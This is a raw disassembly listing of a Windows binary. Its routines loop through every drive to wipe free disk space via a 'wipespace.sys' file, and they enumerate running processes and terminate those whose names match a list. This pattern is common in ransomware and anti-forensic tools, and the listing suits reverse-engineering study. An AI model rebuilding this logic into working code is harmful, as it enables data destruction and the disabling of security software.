    0044f8b0 ff ff ff ff 46 00 00 00 57 00 41 00 52 00 4e 00 ....F...W.A.R.N.
    0044f8c0 49 00 4e 00 47 00 3a 00 20 00 43 00 61 00 6e 00 I.N.G.:. .C.a.n.
    0044f8d0 27 00 74 00 20 00 67 00 65 00 74 00 20 00 64 00 '.t. .g.e.t. .d.
    0044f8e0 69 00 73 00 6b 00 20 00 66 00 72 00 65 00 65 00 i.s.k. .f.r.e.e.
    0044f8f0 20 00 73 00 70 00 61 00 63 00 65 00 20 00 6f 00 .s.p.a.c.e. .o.
    0044f900 72 00 20 00 64 00 69 00 73 00 6b 00 20 00 66 00 r. .d.i.s.k. .f.
    0044f910 72 00 65 00 65 00 20 00 73 00 70 00 61 00 63 00 r.e.e. .s.p.a.c.
    0044f920 65 00 20 00 69 00 73 00 20 00 30 00 2e 00 20 00 e. .i.s. .0... .
    0044f930 53 00 6b 00 69 00 70 00 20 00 64 00 69 00 73 00 S.k.i.p. .d.i.s.
    0044f940 6b 00 2e 00 00 00 00 00 b0 04 02 00 ff ff ff ff k...............
    0044f950 46 00 00 00 57 00 41 00 52 00 4e 00 49 00 4e 00 F...W.A.R.N.I.N.
    0044f960 47 00 3a 00 20 00 43 00 61 00 6e 00 27 00 74 00 G.:. .C.a.n.'.t.
    0044f970 20 00 6f 00 70 00 65 00 6e 00 20 00 6f 00 72 00 .o.p.e.n. .o.r.
    0044f980 20 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 .c.r.e.a.t.e. .
    0044f990 77 00 69 00 70 00 65 00 73 00 70 00 61 00 63 00 w.i.p.e.s.p.a.c.
    0044f9a0 65 00 2e 00 73 00 79 00 73 00 20 00 69 00 6e 00 e...s.y.s. .i.n.
    0044f9b0 20 00 72 00 6f 00 6f 00 74 00 20 00 66 00 6f 00 .r.o.o.t. .f.o.
    0044f9c0 6c 00 64 00 65 00 72 00 2e 00 20 00 53 00 6b 00 l.d.e.r... .S.k.
    0044f9d0 69 00 70 00 20 00 64 00 69 00 73 00 6b 00 2e 00 i.p. .d.i.s.k...
    0044f9e0 00 00 00 00 b0 04 02 00 ff ff ff ff 01 00 00 00 ................
    0044f9f0 30 00 00 00 b0 04 02 00 ff ff ff ff 01 00 00 00 0...............
    0044fa00 2e 00 00 00 1a 00 00 00 77 00 69 00 70 00 65 00 ........w.i.p.e.
    0044fa10 73 00 70 00 61 00 63 00 65 00 2e 00 73 00 79 00 s.p.a.c.e...s.y.
    0044fa20 73 00 00 00 cc cc cc cc cc cc cc cc cc cc cc cc s...............
    0044fa30
    0044fa30fn_44fa30:
    0044fa30push rbp
    0044fa31push rsi
    0044fa32push rbx
    0044fa33sub rsp, 64
    0044fa37mov rbp, rsp
    0044fa3amov [rbp+40], 0
    0044fa42mov [rbp+56], 0
    0044fa4amov [rbp+48], 0
    0044fa52nop
    0044fa53mov rax, [rip+0x14566]
    0044fa5acmp [rax+308], 0
    0044fa61je 0x44fa71
    0044fa63lea rcx, [rip+350]
    0044fa6axor edx, edx
    0044fa6ccall fn_439060
    0044fa71
    0044fa71loc_44fa71:
    0044fa71mov rax, [rip+0x14548]
    0044fa78mov rax, [rax+760]
    0044fa7fmov eax, [rax+16]
    0044fa82test eax, eax
    0044fa84je 0x44fb11
    0044fa8axor ecx, ecx
    0044fa8cmov esi, eax
    0044fa8esub esi, 1
    0044fa91mov ebx, ecx
    0044fa93cmp ebx, esi
    0044fa95jg 0x44fb0e
    0044fa97sub esi, ecx
    0044fa99add esi, 1
    0044fa9c
    0044fa9cloc_44fa9c:
    0044fa9cmov rax, [rip+0x1451d]
    0044faa3mov rax, [rax+760]
    0044faaamov rax, [rax+8]
    0044faaemovsxd rcx, ebx
    0044fab1cmp [rax+8*rcx], 0
    0044fab6je 0x44fb04
    0044fab8lea rcx, [rbp+56]
    0044fabcmov rax, [rip+0x144fd]
    0044fac3mov rax, [rax+760]
    0044facamov rax, [rax+8]
    0044facemovsxd rdx, ebx
    0044fad1mov rax, [rax+8*rdx]
    0044fad5movzx rdx, [rax]
    0044fad9call fn_40d730
    0044fadelea rcx, [rbp+56]
    0044fae2lea rdx, [rip+287]
    0044fae9call fn_40d9b0
    0044faeelea rcx, [rbp+48]
    0044faf2mov rdx, [rbp+56]
    0044faf6call fn_40d850
    0044fafbmov rcx, [rbp+48]
    0044faffcall fn_44f5a0
    0044fb04
    0044fb04loc_44fb04:
    0044fb04add ebx, 1
    0044fb07sub esi, 1
    0044fb0atest esi, esi
    0044fb0cjne 0x44fa9c
    0044fb0e
    0044fb0eloc_44fb0e:
    0044fb0enop
    0044fb0fjmp 0x44fb43
    0044fb11
    0044fb11loc_44fb11:
    0044fb11xor ebx, ebx
    0044fb13
    0044fb13loc_44fb13:
    0044fb13lea rcx, [rbp+40]
    0044fb17mov edx, ebx
    0044fb19add dl, 65
    0044fb1ccall fn_40d050
    0044fb21lea rcx, [rbp+40]
    0044fb25lea rdx, [rip+232]
    0044fb2ccall fn_40d1a0
    0044fb31mov rcx, [rbp+40]
    0044fb35call fn_44f5a0
    0044fb3aadd ebx, 1
    0044fb3dcmp ebx, 26
    0044fb40jne 0x44fb13
    0044fb42nop
    0044fb43
    0044fb43loc_44fb43:
    0044fb43mov rax, [rip+0x14476]
    0044fb4acmp [rax+308], 0
    0044fb51je 0x44fb61
    0044fb53lea rcx, [rip+206]
    0044fb5axor edx, edx
    0044fb5ccall fn_439060
    0044fb61
    0044fb61loc_44fb61:
    0044fb61nop
    0044fb62lea rcx, [rbp+40]
    0044fb66mov edx, 2
    0044fb6bcall fn_40be70
    0044fb70lea rcx, [rbp+56]
    0044fb74call fn_40bcf0
    0044fb79lea rsp, [rbp+64]
    0044fb7dpop rbx
    0044fb7epop rsi
    0044fb7fpop rbp
    0044fb80ret
    0044fa30
    0044fb81
    0044fb81 48 8d 80 00 00 00 00 48 8d 04 05 00 00 00 00 H......H.......
    0044fb90
    0044fb90fn_44fb90:
    0044fb90push rbp
    0044fb91push rbx
    0044fb92sub rsp, 40
    0044fb96mov rbp, rsp
    0044fb99mov rbx, rdx
    0044fb9clea rcx, [rbx+40]
    0044fba0mov edx, 2
    0044fba5call fn_40be70
    0044fbaalea rcx, [rbx+56]
    0044fbaecall fn_40bcf0
    0044fbb3lea rsp, [rbp+40]
    0044fbb7pop rbx
    0044fbb8pop rbp
    0044fbb9ret
    0044fb90
    0044fbba
    0044fbba 00 00 b0 04 02 00 ......
    0044fbc0 ff ff ff ff 18 00 00 00 54 00 72 00 79 00 20 00 ........T.r.y. .
    0044fbd0 77 00 69 00 70 00 65 00 20 00 66 00 72 00 65 00 w.i.p.e. .f.r.e.
    0044fbe0 65 00 20 00 64 00 69 00 73 00 6b 00 20 00 73 00 e. .d.i.s.k. .s.
    0044fbf0 70 00 61 00 63 00 65 00 00 00 00 00 b0 04 02 00 p.a.c.e.........
    0044fc00 ff ff ff ff 02 00 00 00 3a 00 5c 00 00 00 00 00 ........:.\.....
    0044fc10 04 00 00 00 3a 00 5c 00 00 00 00 00 b0 04 02 00 ....:.\.........
    0044fc20 ff ff ff ff 0b 00 00 00 45 00 4e 00 44 00 20 00 ........E.N.D. .
    0044fc30 4f 00 46 00 20 00 57 00 49 00 50 00 45 00 00 00 O.F. .W.I.P.E...
    0044fc40
    0044fc40Unit57.finalization:
    0044fc40add [rip+0x20b59], 1
    0044fc47cmp [rip+0x20b52], 0
    0044fc4eret
    0044fc40
    0044fc4f
    0044fc4f // align 0x10
    0044fc50
    0044fc50Unit57.initialization:
    0044fc50sub [rip+0x20b49], 1
    0044fc57cmp [rip+0x20b42], -1
    0044fc5eret
    0044fc50
    0044fc5f
    0044fc5f // align 0x10
    0044fc60
    0044fc60CloseServiceHandle:
    0044fc60jmp [rip+0x21db2]
    0044fc60
    0044fc66
    0044fc66 // align 0x10
    0044fc70
    0044fc70EnumServicesStatusW:
    0044fc70jmp [rip+0x21dea]
    0044fc70
    0044fc76
    0044fc76 // align 0x10
    0044fc80
    0044fc80OpenSCManagerW:
    0044fc80jmp [rip+0x21dc2]
    0044fc80
    0044fc86
    0044fc86 // align 0x10
    0044fc90
    0044fc90Unit58.finalization:
    0044fc90add [rip+0x20b0d], 1
    0044fc97cmp [rip+0x20b06], 0
    0044fc9eret
    0044fc90
    0044fc9f
    0044fc9f // align 0x10
    0044fca0
    0044fca0Unit58.initialization:
    0044fca0sub [rip+0x20afd], 1
    0044fca7cmp [rip+0x20af6], -1
    0044fcaeret
    0044fca0
    0044fcaf
    0044fcaf // align 0x10
    0044fcb0
    0044fcb0EnumServicesStatusA:
    0044fcb0jmp [rip+0x21da2]
    0044fcb0
    0044fcb6
    0044fcb6 // align 0x10
    0044fcc0
    0044fcc0fn_44fcc0:
    0044fcc0push rbp
    0044fcc1push r13
    0044fcc3push rdi
    0044fcc4push rsi
    0044fcc5push rbx
    0044fcc6sub rsp, 688
    0044fccdmov rbp, rsp
    0044fcd0mov [rbp+72], 0
    0044fcd8mov [rbp+56], 0
    0044fce0mov [rbp+48], 0
    0044fce8mov [rbp+32], 0
    0044fcf0mov [rbp+40], 0
    0044fcf8mov [rbp+64], 0
    0044fd00mov [rbp+104], 0
    0044fd08mov [rbp+88], 0
    0044fd10mov [rbp+80], 0
    0044fd18mov [rbp+96], 0
    0044fd20nop
    0044fd21mov ecx, 2
    0044fd26xor edx, edx
    0044fd28call fn_438870
    0044fd2dmov rbx, rax
    0044fd30mov [rbp+120], 568
    0044fd37mov rcx, rbx
    0044fd3alea rdx, [rbp+120]
    0044fd3ecall fn_4388a0
    0044fd43jmp 0x44fe80
    0044fd48
    0044fd48loc_44fd48:
    0044fd48xor eax, eax
    0044fd4amov rcx, [rip+0x1426f]
    0044fd51mov rcx, [rcx+72]
    0044fd55mov r13l, [rcx+16]
    0044fd59sub r13l, 1
    0044fd5dmov esi, eax
    0044fd5fcmp esi, r13l
    0044fd62jg 0x44fe73
    0044fd68sub r13l, eax
    0044fd6badd r13l, 1
    0044fd6f
    0044fd6floc_44fd6f:
    0044fd6fmovsxd rdi, esi
    0044fd72lea rcx, [rbp+96]
    0044fd76mov rax, [rip+0x14243]
    0044fd7dmov rax, [rax+72]
    0044fd81mov rax, [rax+8]
    0044fd85mov rdx, [rax+8*rdi]
    0044fd89call fn_40d850
    0044fd8elea rcx, [rbp+104]
    0044fd92mov rdx, [rbp+96]
    0044fd96call fn_4220f0
    0044fd9blea rcx, [rbp+80]
    0044fd9flea rdx, [rbp+164]
    0044fda6mov r8l, 260
    0044fdaccall fn_40d110
    0044fdb1lea rcx, [rbp+88]
    0044fdb5mov rdx, [rbp+80]
    0044fdb9call fn_4220f0
    0044fdbemov rcx, [rbp+104]
    0044fdc2mov rdx, [rbp+88]
    0044fdc6call fn_40d640
    0044fdcbtest eax, eax
    0044fdcdje 0x44fe46
    0044fdcflea rcx, [rbp+64]
    0044fdd3mov rax, [rip+0x141e6]
    0044fddamov rax, [rax+72]
    0044fddemov rax, [rax+8]
    0044fde2mov rdx, [rax+8*rdi]
    0044fde6call fn_40d850
    0044fdeblea rcx, [rbp+72]
    0044fdefmov rdx, [rbp+64]
    0044fdf3call fn_4220f0
    0044fdf8lea rcx, [rbp+40]
    0044fdfclea rdx, [rbp+164]
    0044fe03mov r8l, 260
    0044fe09call fn_40d7b0
    0044fe0elea rcx, [rbp+48]
    0044fe12mov rdx, [rbp+40]
    0044fe16call fn_422b70
    0044fe1blea rcx, [rbp+32]
    0044fe1fmov rdx, [rbp+48]
    0044fe23call fn_40d850
    0044fe28lea rcx, [rbp+56]
    0044fe2cmov rdx, [rbp+32]
    0044fe30call fn_4220f0
    0044fe35mov rcx, [rbp+72]
    0044fe39mov rdx, [rbp+56]
    0044fe3dcall fn_40d640
    0044fe42test eax, eax
    0044fe44jne 0x44fe63
    0044fe46
    0044fe46loc_44fe46:
    0044fe46mov ecx, 1
    0044fe4bxor edx, edx
    0044fe4dmov r8l, [rbp+128]
    0044fe54call OpenProcess
    0044fe59mov rcx, rax
    0044fe5cxor edx, edx
    0044fe5ecall TerminateProcess
    0044fe63
    0044fe63loc_44fe63:
    0044fe63add esi, 1
    0044fe66sub r13l, 1
    0044fe6atest r13l, r13l
    0044fe6djne 0x44fd6f
    0044fe73
    0044fe73loc_44fe73:
    0044fe73nop
    0044fe74mov rcx, rbx
    0044fe77lea rdx, [rbp+120]
    0044fe7bcall fn_4388d0
    0044fe80
    0044fe80loc_44fe80:
    0044fe80test eax, eax
    0044fe82jne 0x44fd48
    0044fe88mov rcx, rbx
    0044fe8bcall CloseHandle
    0044fe90nop
    0044fe91lea rcx, [rbp+32]
    0044fe95call fn_40bd90
    0044fe9alea rcx, [rbp+40]
    0044fe9emov edx, 2
    0044fea3call fn_40bdd0
    0044fea8lea rcx, [rbp+56]
    0044feacmov edx, 7
    0044feb1call fn_40be70
    0044feb6lea rsp, [rbp+688]
    0044febdpop rbx
    0044febepop rsi
    0044febfpop rdi
    0044fec0pop r13
    0044fec2pop rbp
    0044fec3ret
    0044fcc0